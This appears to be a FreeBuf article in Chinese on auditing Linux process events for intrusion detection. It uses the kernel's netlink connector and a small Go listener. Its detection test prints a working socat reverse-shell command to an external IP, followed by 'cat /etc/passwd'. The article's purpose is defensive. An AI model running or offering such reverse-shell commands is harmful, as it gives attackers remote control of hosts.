基于Linux连接器的审计进程事件实现方案

2019 年 3 月 4 日 FreeBuf

一 引言

主机安全反入侵检测的核心数据包含命令、网络、文件三大类型,文件产生进程、进程产生网络,从进程的角度出发可以捕获到最多的安全事件,因此进程事件在反入侵检测中是最重要安全感知数据,是安全检测和异常分析的基础。这样不论在攻击事前的弱口令扫描或暴力破解动作;还是事中的反弹shell、命令执行注入;或事后的后门或隐藏进程,都可以依赖进程事件的基础数据分析,同时根据不同的攻击向量,多维护分析出安全事件。

在常见的进程事件数据采集方案包括两种,第一种内核模块hook,拦截系统调用fork、exec等,优点:不易被绕过,缺点:方案过重,风险较高。第二种借助preload机制,拦截同名函数,优点:方案轻量,实现简单,缺点:对部分安全场景不能覆盖。

本文提供了第三种方案:通过linux连接器实现进程事件审计,由linux内核提供的接口,安全可靠,结合用户态轻量级ncp应用程序,对主机影响较小,并且能覆盖更多安全场景。

二 实现方案

1、linux内核提供连接器模块与进程事件收集机制,无需任何改动

2、在用户态实现轻量级ncp(netlink connector process)应用程序接收netlink进程事件消息

三 linux连接器

连接器是一种新的用户态与内核态的通信方式。本质上,连接器是一种netlink通信,用以实现用户进程与内核进程通信的一种特殊的进程间通信(IPC), 连接器最常见应用是进程事件连接器。

linux内核从2.6.15版本开始支持连接器,可以检查内核模块配置文件(例 /boot/config-3.10.0-327.36.3.el7.x8664 )是否配置CONFIGCONNECTOR,CONFIGPROCEVENTS确定。

CONFIG_CONNECTOR=y

CONFIG_PROC_EVENTS=y

3.1 连接器内核模块

连接器内核模块实现核心代码主要在:

driver/connector/connector.c,driver/connector/cn_queue.c

int cn_add_callback(struct cb_id *id, const char *name,

void (*callback)(struct cn_msg *,

struct netlink_skb_parms *))

void cn_del_callback(struct cb_id *id)

cnaddcallback:用于向连接器注册新的连接器实例以及相应的回调函数,参数id 指定注册的标识 ID,参数 name 指定连接器回调函数的符号名,参数 callback 为回调函数。

连接器模块注册了"cnproc"的连接器实例,并设置cnprocmcastctl回调函数

cn_add_callback(&cn_proc_event_id,

"cn_proc",

&cn_proc_mcast_ctl)

static void cn_proc_mcast_ctl(struct cn_msg *msg,

struct netlink_skb_parms *nsp){

*

mc_op = (enum proc_cn_mcast_op *)msg->data;

switch (*mc_op) {

case PROC_CN_MCAST_LISTEN:

atomic_inc(&proc_event_num_listeners);

break;

case PROC_CN_MCAST_IGNORE:

atomic_dec(&proc_event_num_listeners);

break;

default:

err = EINVAL;

break;

}

*

}

cnprocmcastctl:接收通过连接器通道发来的用户态消息,主要处理PROCCNMCASTLISTEN,PROCCNMCAST_IGNORE两种控制消息。

3.2 进程事件

进程事件连接器的实现代码主要在

drivers/connector/cn_proc.c

int cn_netlink_send(struct cn_msg *msg, u32 __group, gfp_t gfp_mask)

cnnetlinksend:用于向用户态发送 netlink 消息,参数 msg 为发送的 netlink 消息的消息头。

在内核实现中,进程创建、执行、退出的系统调用sysfork, sysexec,sysexit最终都会通过cnnetlink_send发送消息到用户态

sys_fork->do_fork->copy_process->proc_fork_connector->cn_netlink_send

sys_exec->do_execve->do_execve_common->search_binary_handler->proc_exec_connector->cn_netlink_send

sys_exit->do_exit->proc_exit_connector->cn_netlink_send

在procforkconnector、procexecconnector、procexitconnector都是从内核进程数据结构task_struct获取信息封装netlink消息。

void proc_fork_connector(struct task_struct *task) {

*

ev->what = PROC_EVENT_FORK;

parent = rcu_dereference(task->real_parent);

ev->event_data.fork.parent_pid = parent->pid;

ev->event_data.fork.parent_tgid = parent->tgid;

ev->event_data.fork.child_pid = task->pid;

ev->event_data.fork.child_tgid = task->tgid;

*

}

void proc_exec_connector(struct task_struct *task){

*

ev->what = PROC_EVENT_EXEC;

ev->event_data.exec.process_pid = task->pid;

ev->event_data.exec.process_tgid = task->tgid;

*

}

void proc_exit_connector(struct task_struct *task){

*

ev->what = PROC_EVENT_EXIT;

ev->event_data.exit.process_pid = task->pid;

ev->event_data.exit.process_tgid = task->tgid;

ev->event_data.exit.exit_code = task->exit_code;

ev->event_data.exit.exit_signal = task->exit_signal;

*

}

procforkconnector消息中封装父进程pid、tgid和当前进程pid、tgid数据。

procexecconnector消息中封装当前进程pid、tgid数据。

procexitconnector消息中封装当前进程pid、tgid和exitcode、exitsignal数据。

除了上述三种事件,还有进程coredump、ptrace、id事件。

3.3 netlink消息格式

对于进程事件连接器,内核发出的netlink消息包括 netlink消息头、连接器消息头、控制操作或进程事件指令,下图中各控制消息和进程事件消息格式。

* netlink header * connector header * control or process data *

| idx---val | seq---ack---len | data |

* contorl event *

| flags--op |

* fork event *

| ptid--ppid--tid--pid |

* exec event *

| tid--pid |

* exit event *

| tid--pid--exit_code--exit_signal |

四 ncp用户态实现

ncp(netlink connector process) 实现主要与内核建立netlink connector连接,并持续接收进程事件,解析进程数据。

4.1 连接建立

fd, err := syscall.Socket(syscall.AF_NETLINK, syscall.SOCK_DGRAM, syscall.NETLINK_CONNECTOR)

lsa.Family = syscall.AF_NETLINK

lsa.Groups = C.CN_IDX_PROC

if err = syscall.Bind(fd, &lsa); err != nil {

syscall.Close(fd)

}

Socket: nlfamily设置为 AFNETLINK, proto设置为 NETLINK_CONNECTOR

Bind: 绑定地址family为AFNETLINK, groups为CNIDX_PROC

4.2 打开进程连接器开关

    msg.idx = C.CN_IDX_PROC

msg.val = C.CN_VAL_PROC

msg.len = 4

msg.op = C.PROC_CN_MCAST_LISTEN

syscall.Sendto(fd, &msg, 0, &lca)

该步骤是构造一个netlink控制消息事件,通知内核模块打开进程连接器开关。

4.3 接收进程事件

for {

nr, _, err := syscall.Recvfrom(self.fd, rb, 0)

ev := parseEvent(nr)

switch (ev){

case C.PROC_EVENT_FORK:

*

get_exe(pid)

get_cmdline(pid)

get_cwd(pid)

*

case C.PROC_EVENT_EXEC:

*

case C.PROC_EVENT_EXIT:

*

}

}

对于 fork、exec、exit 事件,都会输出进程pid和线程tid, 结合/proc/pid, 可补全进程其他数据,如exe,cmdline,cwd等

4.4 进程数据

测试反弹shell案例,输出五条事件(3条Exec,2条Fork), 回溯整个过程.

Exec: {tid:5860 pid:5860} -> process exe:/usr/bin/socat, cmdline:socat exec:bash -li,pty,stderr,setsid,sigint,sane tcp:10.89.93.11:8011, cwd:/home/cnptest

Fork: {ptid:5860 ppid:5860 tid:5861 pid:5861} -> process exe:/usr/bin/socat, cmdline:socat exec:bash -li,pty,stderr,setsid,sigint,sane tcp:10.89.93.11:8011, cwd:/home/cnptest

Exec: {tid:5861 pid:5861} -> process exe:/usr/bin/bash, cmdline:bash -li, cwd:/home/cnptest

Fork: {ptid:5861 ppid:5861 tid:5918 pid:5918} -> process exe:/usr/bin/bash, cmdline:bash -li, cwd:/home/cnptest

Exec: {tid:5918 pid:5918} -> process exe:/usr/bin/cat, cmdline:cat /etc/passwd, cwd:/home/cnptest

重点关注Exec事件

第一条Exec事件:socat进程(pid 5860)执行socat exec, 进程详细信息: exe为/usr/bin/socat, cmdline:socat exec:bash -li,pty,stderr,setsid,sigint,sane tcp:10.89.93.11:8011

第二条Exec事件:socat进程 fork出子进程 bash(pid 5861) 执行bash -li, bash进程详细信息:exe:/usr/bin/bash, cmdline: bash -li

第二条Exec事件:bash进程 fork出子进程 cat(pid 5918) 执行cat /etc/passwd, /usr/bin/cat, cmdline:cat /etc/passwd

根据上述5条事件,可以还原在10.89.93.11通过socat、bash -i等命令反弹进程shell, 并获取主机passwd信息的整个过程。

在安全分析中通过进程exe和cmdline信息可以快速定位危险命令执行的过程。

五 结论

通过linux连接器结合轻量级用户态应用程序ncp能够实时获取linux进程事件,在此基础上结合进程proc目录下各信息, 如/net/tcp,fd,stack等,可以描绘出更详尽的进程状态,为主机安全反入侵检测提供重要数据支撑,能够及时发现进程异常行为、危险命令执行等安全攻击事件。

在下篇文章会介绍在宿主机层针对docker内进程分析,敬请期待。

*本文原创作者:zhouqiao,本文属FreeBuf原创奖励计划,未经许可禁止转载

登录查看更多
9

相关内容

CN:Computer Networks。 Explanation:计算机网络。 Publisher:Elsevier。 SIT: http://dblp.uni-trier.de/db/journals/cn/
专知会员服务
128+阅读 · 2020年7月10日
Python导论,476页pdf,现代Python计算
专知会员服务
253+阅读 · 2020年5月17日
大数据安全技术研究进展
专知会员服务
90+阅读 · 2020年5月2日
【北京大学】面向5G的命名数据网络物联网研究综述
专知会员服务
34+阅读 · 2020年4月26日
广东疾控中心《新型冠状病毒感染防护》,65页pdf
专知会员服务
18+阅读 · 2020年1月26日
【干货】大数据入门指南:Hadoop、Hive、Spark、 Storm等
专知会员服务
94+阅读 · 2019年12月4日
【电子书】C++ Primer Plus 第6版,附PDF
专知会员服务
83+阅读 · 2019年11月25日
【电子书】Flutter实战305页PDF免费下载
专知会员服务
20+阅读 · 2019年11月7日
渗透某德棋牌游戏
黑白之道
12+阅读 · 2019年5月17日
Kali Linux 渗透测试:密码攻击
计算机与网络安全
15+阅读 · 2019年5月13日
Linux挖矿病毒的清除与分析
FreeBuf
14+阅读 · 2019年4月15日
使用 Canal 实现数据异构
性能与架构
20+阅读 · 2019年3月4日
34个最优秀好用的Python开源框架
专知
9+阅读 · 2019年3月1日
去哪儿网开源DNS管理系统OpenDnsdb
运维帮
21+阅读 · 2019年1月22日
这一次,彻底解决滚动穿透
IMWeb前端社区
34+阅读 · 2019年1月4日
Python3.8新特性概览
Python程序员
4+阅读 · 2018年12月8日
基于 Storm 的实时数据处理方案
开源中国
4+阅读 · 2018年3月15日
教程 | 基于遗传算法的拼图游戏解决方案
机器之心
109+阅读 · 2017年11月12日
Arxiv
14+阅读 · 2020年2月6日
Mesh R-CNN
Arxiv
4+阅读 · 2019年6月6日
Arxiv
6+阅读 · 2019年4月4日
Arxiv
3+阅读 · 2012年11月20日
VIP会员
相关VIP内容
专知会员服务
128+阅读 · 2020年7月10日
Python导论,476页pdf,现代Python计算
专知会员服务
253+阅读 · 2020年5月17日
大数据安全技术研究进展
专知会员服务
90+阅读 · 2020年5月2日
【北京大学】面向5G的命名数据网络物联网研究综述
专知会员服务
34+阅读 · 2020年4月26日
广东疾控中心《新型冠状病毒感染防护》,65页pdf
专知会员服务
18+阅读 · 2020年1月26日
【干货】大数据入门指南:Hadoop、Hive、Spark、 Storm等
专知会员服务
94+阅读 · 2019年12月4日
【电子书】C++ Primer Plus 第6版,附PDF
专知会员服务
83+阅读 · 2019年11月25日
【电子书】Flutter实战305页PDF免费下载
专知会员服务
20+阅读 · 2019年11月7日
相关资讯
渗透某德棋牌游戏
黑白之道
12+阅读 · 2019年5月17日
Kali Linux 渗透测试:密码攻击
计算机与网络安全
15+阅读 · 2019年5月13日
Linux挖矿病毒的清除与分析
FreeBuf
14+阅读 · 2019年4月15日
使用 Canal 实现数据异构
性能与架构
20+阅读 · 2019年3月4日
34个最优秀好用的Python开源框架
专知
9+阅读 · 2019年3月1日
去哪儿网开源DNS管理系统OpenDnsdb
运维帮
21+阅读 · 2019年1月22日
这一次,彻底解决滚动穿透
IMWeb前端社区
34+阅读 · 2019年1月4日
Python3.8新特性概览
Python程序员
4+阅读 · 2018年12月8日
基于 Storm 的实时数据处理方案
开源中国
4+阅读 · 2018年3月15日
教程 | 基于遗传算法的拼图游戏解决方案
机器之心
109+阅读 · 2017年11月12日
相关论文
Arxiv
14+阅读 · 2020年2月6日
Mesh R-CNN
Arxiv
4+阅读 · 2019年6月6日
Arxiv
6+阅读 · 2019年4月4日
Arxiv
3+阅读 · 2012年11月20日
Top
微信扫码咨询专知VIP会员